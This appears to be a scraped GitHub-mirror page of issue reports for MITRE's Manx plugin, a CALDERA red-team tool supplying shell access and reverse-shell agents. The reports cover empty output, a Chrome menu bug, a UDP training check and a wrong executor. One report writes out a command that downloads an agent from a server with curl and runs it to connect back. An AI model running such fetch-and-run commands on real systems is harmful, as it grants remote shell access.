The Manx plugin supplies shell access into Caldera, along with reverse-shell payloads for entering/exiting agents manually.
mitre / manx Goto Github PK
View Code? Open in Web Editor NEWA CALDERA plugin
Home Page: https://caldera.mitre.org/
A CALDERA plugin
Home Page: https://caldera.mitre.org/
Good evening Manx Team,
I tried the plugin today and I do not know if I am running it correctly, but either by typing commands or using the drop-down menu options, I do not get any output.
I do have a Windows Defender exclusion on folder C:\users\
for the binary
Running Agent on Win10 Build 18363 .
Thank you in advance for your time :)
From Chrome, the "Select a session" menu is empty even when there are active manx agents. From Firefox, the menu works correctly, and I can select from the active agent sessions.
It's CALDERA 2.6.6 running on an AWS Ubuntu 18.04.04 instance. A manx agent is running 'locally' on that same Ubuntu server. I also have a 2nd manx agent running on an AWS Windows server.
My browsers are connecting in to that AWS CALDERA server from the office I'm sitting in. Here in that office, it's:
-- Chrome: 81.0.4044.129 (Official Build) (64-bit)
-- Firefox: 75.0 (64-bit)
-- OS: Ubuntu 18.04.04 LTS
Describe the bug
Going through the Caldera training and I got stuck on the "Manx UDP" test. I was having issues getting the Manx terminal to connect to my UDP agent. After some research and looking around I started noticing that the terminal only works with TCP. I checked the caldera/plugins/training/app/flags/plugins/manx/flag_0.py and noticed it tested for TCP connection. I was then able to pass the training.
I am running Caldera 4.0.0 Beta on Ubuntu 20.04.1. My UDP agent is running on Win10 21H1
To Reproduce
Steps to reproduce the behavior:
Expected behavior
The test needs to reference TCP or the Manx terminal needs to be able to select a UDP beacon
Screenshots
Manx UDP Test (I believe line 20 is the issue)
Screenshot of active UDP Connection
Screenshot of no available beacon for the Manx terminal
Desktop (please complete the following information):
Additional context
Add any other context about the problem here.
Caldera version :
$ cd caldera && git rev-parse HEAD
6d9011358eef3041b4e60b64bf2f16f561be9d29
Steps to reproduce the issue:
$ server="http://192.168.68.68:8888";socket="192.168.68.68:7010";contact="tcp";curl -s -X POST -H "file:manx.go" -H "platform:linux" $server/file/download > manx.go;chmod +x manx.go;./manx.go -http $server -socket $socket -contact $contact -v
Architecture | amd64
Platform | linux
Actual output, the windows executor is proposed :
Get-process
Expected output:
ps aux
Suggested fix:
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.